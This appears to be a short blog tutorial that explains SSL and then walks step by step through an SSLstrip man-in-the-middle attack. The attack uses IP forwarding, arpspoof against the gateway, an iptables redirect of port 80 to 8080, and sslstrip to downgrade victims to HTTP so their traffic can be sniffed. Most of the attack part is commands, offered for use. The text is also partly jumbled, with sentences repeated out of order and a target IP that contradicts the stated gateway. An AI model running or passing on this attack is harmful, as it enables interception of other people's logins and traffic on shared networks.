Secure Sockets Layer (SSL) ??
Secure Sockets Layer (SSL) is the most widely used technology for providing a secure communication between the web client and the web server. Most of us are familiar with many sites such as Gmail, Yahoo etc. using https protocol in their login pages. When we see this, we may wonder what’s the difference between http and https. In simple words HTTP protocol is used for standard communication between the Web server and the client. HTTPS is used for a SECURE communication.
HERE IS IMAGE WHICH PROVIDE A WORKING CONCEPT OF SSL
how to crack ssl it help us to break a secure
communication (secure browsing)
Advantage of Cracking SSL-Strip:
So finally we are done, now the ARPspoof will start capturing traffic & we have to use SSLstrip now so type the command below
Now you have successfully cracked the SSLstrip !

Advantage of Cracking SSL-Strip:
- Address bar uses http instead of secure https.
- Sniffing becomes easier then before...!!!
Things Required :
- Backtrack 5
- Arpspoof
- IP Tables
- SSL Strip
- Netstat
Step By Step Guide :
- So first start up your Backtrack 5 terminal & type the following Command
echo '1' > /proc/sys/net/ipv4/ip_forward
- Now after typing this command the backtrack will be able to forward the packets, now we have to get little information about the gateway Ip , so to know more about our gateway IP we will type the following command
netstat -nr
- After we get some info about the gateway ip, then we will ARPSpoof to perform the attack
arpspoof -i eth0 192.168.8.8
- So in the above command eth0 represents the network interface card (NIC) or if you are using a wireless then it will be wlan0 . so in our case the default gateway is 192.168.1.1 . After that we have to Download sslstrip, which you can find from the official website .
- Then after we have installed sslstrip now we have to make our firewall to redirect the traffic from Port 80 to Port 8080, so to do this type the following command
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
- so our last step would be to make all the traffic go from ARPspoof tables
echo '1' > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 192.168.8.8
So finally we are done, now the ARPspoof will start capturing traffic & we have to use SSLstrip now so type the command below
sslstrip -l 8080
Now you have successfully cracked the SSLstrip !
